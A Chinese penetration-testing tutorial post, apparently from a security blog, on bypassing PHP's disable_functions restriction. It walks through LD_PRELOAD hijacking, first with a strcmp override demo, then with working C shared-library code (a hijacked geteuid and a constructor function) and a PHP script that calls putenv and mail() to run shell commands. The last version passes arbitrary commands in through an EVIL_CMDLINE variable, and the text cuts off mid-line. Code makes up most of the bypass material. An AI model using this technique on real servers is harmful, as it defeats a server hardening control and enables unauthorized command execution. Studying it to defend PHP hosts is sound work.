1. 首页
  2. 渗透测试

Bypass disable_functions学习

disable_functions简介

PHP配置文件中的disable_functions选项,用于禁用一些危险函数,可用户自定义。

渗透中常见的可执行系统命令的函数如下:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,
ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_exec

bypass 学习

写在前面的废话

脚本拿过来都会用,但是不懂原理跟废物没啥区别,我不想做废物所以学习了一下。
文章记录一些常见的bypass方法,不包括由于黑名单过滤不全导致的问题,如:忘记过滤pcntl_exec等。

PHP执行命令函数

assert,system,passthru,exec(“),pcntl_exec,shell_exec,popen,proc_open

LD_PRELOAD

LD_PRELOAD是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。

用个例子来了解LD_PRELOAD:

/*
  passwd.c 
*/

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char passwd[] = "password";

    if (argc < 2) {
        printf("usage: %s <password>n", argv[0]);
        return;
    }

    if (!strcmp(passwd, argv[1])) {
        printf("Correct Password!n");
        return;
    }

    printf("Invalid Password!n");
}

/* hack.c */

#include <stdio.h>
#include <string.h>

int strcmp(const char *s1, const char *s2)
{
        printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
        /* 永远返回0,表示两个字符串相等 */
        return 0;

}

$ gcc -o verifypasswd passwd.c

$ gcc -shared -fPIC -o hack.so hack.c

/* 依次执行以下命令效果如下图 */
[[email protected] disable_func]# ./verifypasswd 123456
[[email protected] disable_func]# export LD_PRELOAD="./hack.so"
[[email protected] disable_func]# ./verifypasswd 123456

*可以发现程序载入了我们重写的strcmp函数

Bypass disable_functions学习

putenv

设置环境变量的值 (PHP 4, PHP 5, PHP 7)

/* 用法 */
putenv ( string `$setting` ) : bool (添加 `setting` 到服务器环境变量。)
环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。(简单来说就是临时的环境变量修改,脚本运行结束时恢复)

Bypass disable_functions学习

利用LD_PRELOAD + putenv bypass (linux)

php mail()

php中的mail()函数运行时会启动子进程调用sendmail,因此我们只要找一个sendmail使用的函数,利用LD_PRELOAD优先加载动态链接库来覆盖掉原函数即可。

Bypass disable_functions学习

bypass的简单实现

/* hack.c */
#include <stdlib.h>                                                                       #include <stdio.h>                                                                       #include <string.h>                                                                                                                                                                 int geteuid()                                                                           
{                                                                                              if (getenv("LD_PRELOAD") == NULL) { return 0; }
     unsetenv("LD_PRELOAD");                                                                  system("whoami > /tmp/user");                                                      
} 
/* bypass.php */
<?php

putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
[[email protected] html]# gcc -shared -fPIC -o hack.so hack.c  
[[email protected] html]# php bypass.php

Bypass disable_functions学习

__attribute__ ((__constructor__))

用法:__attribute__((attribute-list))

括号内为attribute的参数。

/* __attribute__ ((__constructor__)) */
constructor参数,让系统执行main()函数之前调用(被__attribute__ ((__constructor__))修饰过的函数)。这一点感觉就是PHP反序列化总的析构函数?。简单来说,就是最先执行__attribute__ ((__constructor__))修饰过的函数。
#define _GNU_SOURCE                                                                                                                                                                 #include <stdlib.h>                                                                       #include <stdio.h>                                                                       #include <string.h>                                                                                                                                                                 __attribute__ ((__constructor__)) void preload (void)
{
    unsetenv("LD_PRELOAD");
    system("whoami > /tmp/user");
}

完整实现

简单修改了下PHP脚本.

/* hack.c */

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // 这里是通过PHP putenv获取的环境变量来达到动态执行系统命令
    const char* bashshell = getenv("EVIL_CMDLINE");

    // 注销掉环境变量
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '